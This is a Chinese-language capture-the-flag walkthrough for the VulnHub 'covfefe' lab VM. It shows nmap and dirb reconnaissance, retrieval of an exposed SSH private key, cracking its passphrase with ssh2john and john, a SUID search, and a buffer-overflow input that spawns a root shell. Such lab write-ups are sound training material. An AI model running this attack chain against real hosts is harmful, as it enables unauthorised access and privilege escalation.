综合实战第一章
私钥泄露实战
环境准备
本次环境使用的是vulnhub靶场里面的covfefe
靶场下载地址:https://www.vulnhub.com/entry/covfefe-1,199/
攻击机:kali 192.168.3.134
靶机:covfefe 192.168.3.152
信息搜集
先确定目标靶机
扫描整个网段
nmap -sT 192.168.3.0/24

找到目标,发现有三个端口,22 80 31337

先访问80端口

没啥东西,访问31337端口尝试一下

啥也没有,使用工具dirb扫描一下
DIRB是一个Web内容扫描程序。它查找现有的(和/或隐藏的)Web对象。它基本上是通过对Web服务器发起基于字典的攻击并分析响应来工作的。
dirb http://192.168.3.152:31337

打开robots.txt 查看一下

访问一下/taxes

第一个flag就得到了
ssh私钥登录
访问.ssh文件

说明私钥泄露了
然后把这三个文件下载下来
/.ssh/id_rsa    /.ssh/authorized_keys   /.ssh/id_rsa.pub

给这三个文件加点权限
chmod 600 id_rsa
然后在authorized_keys里发现有个用户名叫simon的

尝试使用ssh登录
ssh -i id_rsa simon@192.168.3.152

发需要一个密码
解密ssh秘钥信息
利用ssh2john将id_rsa秘钥信息转换为john可以识别的信息
python /usr/share/john/ssh2john.py id_rsa > rsacrack 
然后使用字典破解
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

发现密码是starwars
尝试登录

登录成功
提权
我们在root目录下发现有flag.txt,但是无法读取,因此需要提权
首先查找能够用root权限去执行哪些东西
find / -perm -4000 2>/dev/null

发现root里面有个read_message.c文件
接下来审计这个文件

在注释中发现flag2
缓冲区溢出
对代码进行审计
我们发现输入的值是保存在buf里,如果这个值的前5个字是Simon,就返回正确
因此输入的值超过20个,20个之后的就会被execve调用,就可以实现缓冲区溢出
获得flag
SimonAAAAAAAAAAAAAAA/bin/sh
pwd
whoami
cat flag.txt

成功!
 
                     
                     
                        
                        